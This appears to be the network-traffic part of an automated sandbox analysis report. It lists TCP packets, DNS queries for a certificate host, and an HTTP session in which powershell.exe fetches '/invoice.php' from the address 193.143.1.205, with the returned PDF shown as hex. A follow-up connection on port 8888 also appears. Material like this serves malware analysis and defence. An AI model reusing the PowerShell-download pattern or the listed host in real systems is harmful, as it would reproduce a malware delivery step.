Jan 15, 2025 08:11:15.598169088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598206043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598227978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.598237991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598273039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598290920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.598305941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598340988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598359108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.598371029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.598428965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628263950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628307104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628405094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628412008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628449917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628468037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628484964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628503084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628520012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628536940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628568888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628609896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628662109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628695011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628730059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628762007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628796101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628819942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628819942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628819942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628819942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628829002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628866911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628896952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628899097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628916979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.628933907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.628990889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629004955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629039049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629075050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629100084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629107952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629142046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629162073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629175901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629228115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629230022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629262924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629296064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629328966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629328966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629364014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629383087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629420996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629472017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629477024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629506111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629543066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629575968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629594088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629610062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629625082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629643917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629678011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629693031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629712105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629745007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629770041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629777908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629829884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629831076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629863977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629899979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629918098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.629935026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629970074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.629991055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630021095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630054951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630076885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630089045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630122900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630141020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630155087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630188942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630214930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630223036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630270958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630274057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630305052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630338907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630362034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630373001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630407095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630435944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630439997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630480051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630491972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630522966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630568027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630588055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630601883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630635023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630654097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630669117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630702972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630736113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630737066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630774021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630803108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630806923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630841970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630861998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.630877018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630913019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.630928993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.631462097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631494999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631526947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.631546974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631581068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631606102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.631614923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631668091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.631671906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631726980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631777048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631781101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.631809950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631839037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631864071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.631894112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631927967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.631948948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.631979942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632015944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632034063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.632050037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632086992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632101059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.632118940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632153988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632170916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.632189989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632222891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632241011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.632257938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632289886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632309914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.632325888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.632379055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.673969984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.681006908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681083918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681138992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681158066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.681179047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681216002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681235075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.681251049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681286097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681303978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.681320906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681355953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681379080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.681389093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681423903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681440115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.681458950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681497097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681509972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.681530952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681571960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.681581020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.685080051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685132980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685163021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.685170889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685205936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685224056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.685241938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685275078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685291052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.685313940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685343027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.685367107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.689964056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715101957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715143919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715229034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715253115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715270042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715286970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715303898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715363026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715374947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715420008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715454102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715459108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715476036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715493917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715528011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715543985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715564013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715598106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715632915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715639114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715666056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715687990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715698957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715734005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715765953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715800047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715835094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:15.715943098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715944052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.715944052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.793209076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.808425903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:15.963910103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:16.548310995 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:16.554490089 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:16.554749012 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:16.555906057 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:16.561222076 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:17.373836994 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 15, 2025 08:11:17.427444935 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 15, 2025 08:11:17.867166996 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:11:29.676343918 CET	63186	53	192.168.2.4	1.1.1.1
Jan 15, 2025 08:11:45.720668077 CET	62918	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 08:11:29.676343918 CET	192.168.2.4	1.1.1.1	0x2fdc	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:11:45.720668077 CET	192.168.2.4	1.1.1.1	0x75c8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 08:11:29.683840036 CET	1.1.1.1	192.168.2.4	0x2fdc	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:11:45.728086948 CET	1.1.1.1	192.168.2.4	0x75c8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	2020	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:11:14.203491926 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 15, 2025 08:11:14.972031116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 07:11:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 15, 2025 08:11:14.972151041 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 15, 2025 08:11:14.972198963 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 15, 2025 08:11:14.972280025 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 15, 2025 08:11:14.972321987 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 15, 2025 08:11:14.972356081 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 15, 2025 08:11:14.972393036 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 15, 2025 08:11:14.972429991 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
